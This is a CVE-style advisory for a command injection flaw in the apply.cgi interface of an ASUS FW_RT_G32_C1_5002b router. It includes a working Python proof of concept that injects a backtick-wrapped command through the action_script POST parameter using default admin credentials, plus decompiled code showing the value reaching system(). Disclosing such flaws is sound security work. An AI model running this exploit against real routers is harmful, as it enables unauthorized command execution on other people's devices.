CVE Report - Command Injection Vulnerability in FW_RT_G32_C1_5002b Routers

Vulnerability Title

Command Injection Vulnerability in FW_RT_G32_C1_5002b Router.

Vulnerability Description

ASUS FW_RT_G32_C1_5002b devices have an OS command injection vulnerability in the CGI interface "apply.cgi",which allows remote attackers to execute arbitrary
commands via parameter "action_script" passed to the "apply.cgi" binary through a POST request.

POC

```
import requests

ip = '172.17.0.33'
url = f"http://{ip}/apply.cgi"

headers = {
    "Host": ip,
    "Content-Length": "574",
    "Cache-Control": "max-age=0",
    "Authorization": "Basic YWRtaW46YWRtaW4=",
    "Accept-Language": "zh-CN",
    "Upgrade-Insecure-Requests": "1",
    "Origin": f"http://{ip}",
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57
Safari/537.36",
    "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7",
    "Referer": f"http://{ip}/Advanced_Wireless_Content.asp",
    "Accept-Encoding": "gzip, deflate, br",
```

```
    "Connection": "keep-alive"
}

data = {
    'action_script': '`touch 1.txt`',
    'action_mode': 'WlanUpdate '
}

response = requests.post(url, headers=headers, data=data)

print("Status Code:", response.status_code)
print("Response Body:", response.text)
```

Cause Analysis

The get_cgi function accepts external data. The user affects v7 by setting the action_script value. It enters system execution, resulting in a command execution vulnerability.

```
v7 = (char *)get_cgi((int)"action_script");
if ( !v7 )
  v7 = &byte_436B50;
if ( strcmp(cgi, " Refresh ") )
{
  if ( !strcmp(cgi, " Clear ") )
  {
    unlink("/tmp/syslog.log-1");
    unlink("/tmp/syslog.log");
    v9 = a2;
    v15 = v5;
    return websRedirect(v9, v15);
  }
  v8 = strcmp(cgi, "NEXT");
  v9 = a2;
  if ( !v8 )
  {
    v15 = v6;
    return websRedirect(v9, v15);
  }
  if ( !strcmp(cgi, "Save&Restart ") )
  {
    websApply(a2, "Restarting.asp", v10);
    nvram_set_f("General", "x_Setting", "1");
    nvram_set("httpd_die_reboot", "1");
    v45[0] = (int)off_4788D0;
    v45[1] = dword_4788D4;
    eval(v45, 0, 0, 0);
    nvram_commit();
  }
  else if ( !strcmp(cgi, " Restart ") )
  {
    websApply(a2, "Restarting.asp", v11);
    nvram_set("httpd_die_reboot", "1");
  }
  else
  {
    if ( strcmp(cgi, "Restore") )
    {
      if ( !strcmp(cgi, "WlanUpdate ") )
      {
        if ( *v7 )
          system(v7);
```

Suggested Fix

It is recommended to update to the version of FW_RT_G32_C1_5002b router to fix this vulnerability.